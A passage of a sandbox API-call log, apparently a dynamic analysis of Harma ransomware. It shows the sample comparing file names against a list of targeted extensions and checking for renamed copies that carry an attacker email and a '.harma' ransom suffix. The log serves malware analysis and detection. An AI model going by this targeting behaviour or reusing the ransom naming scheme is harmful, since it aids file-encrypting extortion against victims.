Shared\\ink\\en-US\\split.avi") returned 66 [0047.524] lstrlenW (lpString=".doc") returned 4 [0047.524] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.524] lstrlenW (lpString=".docx") returned 5 [0047.524] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0047.524] lstrlenW (lpString=".pdf") returned 4 [0047.524] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.524] lstrlenW (lpString=".xls") returned 4 [0047.524] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.524] lstrlenW (lpString=".xlsx") returned 5 [0047.524] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0047.524] lstrlenW (lpString=".ppt") returned 4 [0047.525] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString=".zip") returned 4 [0047.525] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString=".rar") returned 4 [0047.525] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString=".bz2") returned 4 [0047.525] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString=".7z") returned 3 [0047.525] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString=".dbf") returned 4 [0047.525] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString=".1cd") returned 4 [0047.525] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString=".jpg") returned 4 [0047.525] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.525] lstrlenW (lpString=".doc") returned 4 [0047.525] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0047.525] lstrlenW (lpString=".docx") returned 5 [0047.525] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0047.525] lstrlenW (lpString=".pdf") returned 4 [0047.526] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString=".xls") returned 4 [0047.526] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString=".xlsx") returned 5 [0047.526] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0047.526] lstrlenW (lpString=".ppt") returned 4 [0047.526] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.526] lstrlenW (lpString=".zip") returned 4 [0047.526] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString=".rar") returned 4 [0047.526] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString=".bz2") returned 4 [0047.526] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString=".7z") returned 3 [0047.526] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0047.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.526] lstrlenW (lpString=".dbf") returned 4 [0047.526] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0047.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.526] lstrlenW (lpString=".1cd") returned 4 [0047.526] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0047.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0047.526] lstrlenW (lpString=".jpg") returned 4 [0047.526] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0047.527] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.527] lstrlenW (lpString="ea-sym.xml") returned 10 [0047.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.601] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=749) returned 1 [0047.601] CloseHandle (hObject=0x1a0) returned 1 [0047.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0047.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.602] lstrlenW (lpString=".doc") returned 4 [0047.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString=".docx") returned 5 [0047.602] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0047.602] lstrlenW (lpString=".pdf") returned 4 [0047.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString=".xls") returned 4 [0047.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString=".xlsx") returned 5 [0047.602] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0047.602] lstrlenW (lpString=".ppt") returned 4 [0047.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.602] lstrlenW (lpString=".zip") returned 4 [0047.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.602] lstrlenW (lpString=".rar") returned 4 [0047.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString=".bz2") returned 4 [0047.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.602] lstrlenW (lpString=".7z") returned 3 [0047.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.603] lstrlenW (lpString=".dbf") returned 4 [0047.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.603] lstrlenW (lpString=".1cd") returned 4 [0047.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.603] lstrlenW (lpString=".jpg") returned 4 [0047.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.603] lstrlenW (lpString=".doc") returned 4 [0047.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString=".docx") returned 5 [0047.603] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0047.603] lstrlenW (lpString=".pdf") returned 4 [0047.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString=".xls") returned 4 [0047.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString=".xlsx") returned 5 [0047.603] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0047.603] lstrlenW (lpString=".ppt") returned 4 [0047.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.604] lstrlenW (lpString=".zip") returned 4 [0047.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.604] lstrlenW (lpString=".rar") returned 4 [0047.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.604] lstrlenW (lpString=".bz2") returned 4 [0047.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.604] lstrlenW (lpString=".7z") returned 3 [0047.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.604] lstrlenW (lpString=".dbf") returned 4 [0047.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.604] lstrlenW (lpString=".1cd") returned 4 [0047.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0047.604] lstrlenW (lpString=".jpg") returned 4 [0047.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.604] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.604] lstrlenW (lpString="webbase.xml") returned 11 [0047.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.605] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1166) returned 1 [0047.605] CloseHandle (hObject=0x1a0) returned 1 [0047.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20 [0047.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.606] lstrlenW (lpString=".doc") returned 4 [0047.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.606] lstrlenW (lpString=".docx") returned 5 [0047.606] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.606] lstrlenW (lpString=".pdf") returned 4 [0047.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.606] lstrlenW (lpString=".xls") returned 4 [0047.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.606] lstrlenW (lpString=".xlsx") returned 5 [0047.606] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.606] lstrlenW (lpString=".ppt") returned 4 [0047.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.606] lstrlenW (lpString=".zip") returned 4 [0047.607] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.607] lstrlenW (lpString=".rar") returned 4 [0047.607] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString=".bz2") returned 4 [0047.607] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString=".7z") returned 3 [0047.607] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.607] lstrlenW (lpString=".dbf") returned 4 [0047.607] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.607] lstrlenW (lpString=".1cd") returned 4 [0047.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.607] lstrlenW (lpString=".jpg") returned 4 [0047.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.607] lstrlenW (lpString=".doc") returned 4 [0047.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString=".docx") returned 5 [0047.607] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0047.607] lstrlenW (lpString=".pdf") returned 4 [0047.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.607] lstrlenW (lpString=".xls") returned 4 [0047.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString=".xlsx") returned 5 [0047.608] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0047.608] lstrlenW (lpString=".ppt") returned 4 [0047.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.608] lstrlenW (lpString=".zip") returned 4 [0047.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.608] lstrlenW (lpString=".rar") returned 4 [0047.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString=".bz2") returned 4 [0047.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString=".7z") returned 3 [0047.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.608] lstrlenW (lpString=".dbf") returned 4 [0047.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.608] lstrlenW (lpString=".1cd") returned 4 [0047.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80 [0047.608] lstrlenW (lpString=".jpg") returned 4 [0047.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.608] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0047.608] lstrlenW (lpString="web.xml") returned 7 [0047.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.615] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=207) returned 1 [0047.615] CloseHandle (hObject=0x1a0) returned 1 [0047.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0047.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.616] lstrlenW (lpString=".doc") returned 4 [0047.616] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString=".docx") returned 5 [0047.616] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.616] lstrlenW (lpString=".pdf") returned 4 [0047.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString=".xls") returned 4 [0047.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString=".xlsx") returned 5 [0047.616] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.616] lstrlenW (lpString=".ppt") returned 4 [0047.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.616] lstrlenW (lpString=".zip") returned 4 [0047.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.616] lstrlenW (lpString=".rar") returned 4 [0047.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString=".bz2") returned 4 [0047.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString=".7z") returned 3 [0047.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.616] lstrlenW (lpString=".dbf") returned 4 [0047.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.616] lstrlenW (lpString=".1cd") returned 4 [0047.617] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString=".jpg") returned 4 [0047.617] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString=".doc") returned 4 [0047.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString=".docx") returned 5 [0047.617] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0047.617] lstrlenW (lpString=".pdf") returned 4 [0047.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString=".xls") returned 4 [0047.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString=".xlsx") returned 5 [0047.617] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0047.617] lstrlenW (lpString=".ppt") returned 4 [0047.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString=".zip") returned 4 [0047.617] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.617] lstrlenW (lpString=".rar") returned 4 [0047.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString=".bz2") returned 4 [0047.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString=".7z") returned 3 [0047.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString=".dbf") returned 4 [0047.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.617] lstrlenW (lpString=".1cd") returned 4 [0047.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0047.618] lstrlenW (lpString=".jpg") returned 4 [0047.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.618] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0047.618] lstrlenW (lpString="hwrenclm.dat") returned 12 [0047.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0049.089] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=815680) returned 1 [0049.089] CloseHandle (hObject=0x1e0) returned 1 [0049.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0049.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.090] lstrlenW (lpString=".doc") returned 4 [0049.090] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString=".docx") returned 5 [0049.090] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0049.090] lstrlenW (lpString=".pdf") returned 4 [0049.090] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString=".xls") returned 4 [0049.090] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString=".xlsx") returned 5 [0049.090] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0049.090] lstrlenW (lpString=".ppt") returned 4 [0049.090] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.090] lstrlenW (lpString=".zip") returned 4 [0049.090] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString=".rar") returned 4 [0049.090] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0049.090] lstrlenW (lpString=".bz2") returned 4 [0049.090] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0049.090] lstrlenW (lpString=".7z") returned 3 [0049.090] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0049.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString=".dbf") returned 4 [0049.091] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString=".1cd") returned 4 [0049.091] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0049.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString=".jpg") returned 4 [0049.091] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0049.091] lstrlenW (lpString=".doc") returned 4 [0049.091] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0049.091] lstrlenW (lpString=".docx") returned 5 [0049.091] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0049.091] lstrlenW (lpString=".pdf") returned 4 [0049.091] lstrcmpiW 